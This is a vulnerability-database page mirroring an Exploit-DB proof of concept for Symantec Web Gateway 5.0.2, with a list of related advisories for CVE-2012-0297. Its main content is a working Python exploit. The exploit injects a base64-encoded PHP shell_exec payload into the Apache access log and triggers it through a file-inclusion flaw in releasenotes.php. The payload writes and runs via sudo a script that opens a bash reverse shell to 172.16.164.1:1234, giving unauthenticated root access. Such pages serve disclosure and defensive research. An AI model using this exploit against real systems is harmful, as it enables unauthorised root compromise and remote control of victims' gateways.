Lucene search
+L

Symantec Web Gateway 5.0.2 - Local/Remote File Inclusion / Remote Code Execution

🗓️ 26 May 2012 00:00:00Reported by mutsType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

Symantec Web Gateway 5.0.2 Local/Remote File Inclusion, Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Symantec Web Gateway 5.0.2.8 Command Execution
28 May 201200:00
zdt
zdt
zdt
Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection
12 Jun 201200:00
zdt
zdt
zdt
Symantec Web Gateway 5.0.2.8 Multiple Vulnerabilities
27 Jun 201200:00
zdt
attackerkb
ATTACKERKB
CVE-2012-0297 Symantec Web Gateway Vulnerability
21 May 201200:00
attackerkb
circl
Circl
CVE-2012-0297
26 May 201200:00
circl
checkpoint_advisories
Check Point Advisories
Symantec Web Gateway Management Console Remote Shell Command Execution (CVE-2012-0297)
16 Jul 201200:00
checkpoint_advisories
cve
CVE
CVE-2012-0297
21 May 201220:00
cve
cvelist
Cvelist
CVE-2012-0297
21 May 201220:00
cvelist
d2
d2
DSquare Exploit Pack: D2SEC_SYMWEBGW
21 May 201220:55
d2
dsquare
Dsquare
Symantec Web Gateway 5.0.2 RCE
9 Jun 201200:00
dsquare
Rows per page
#!/usr/bin/python

# Symantec Web Gateway 5.0.2 Remote LFI root Exploit Proof of Concept
# Exploit requires no authentication, /tmp/networkScript is sudoable and apache writable.
# muts at offensive-security dot com


import socket
import base64

payload= '''echo '#!/bin/bash' > /tmp/networkScript; echo 'bash -i >& /dev/tcp/172.16.164.1/1234 0>&1' >> /tmp/networkScript;chmod 755 /tmp/networkScript; sudo /tmp/networkScript'''
payloadencoded=base64.encodestring(payload).replace("\n","")
taint="GET /<?php shell_exec(base64_decode('%s'));?> HTTP/1.1\r\n\r\n" % payloadencoded

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.164.129", 80))
expl.send(taint)
expl.close()

trigger="GET /spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log HTTP/1.0\r\n\r\n"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.164.129", 80))
expl.send(trigger)
expl.close()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation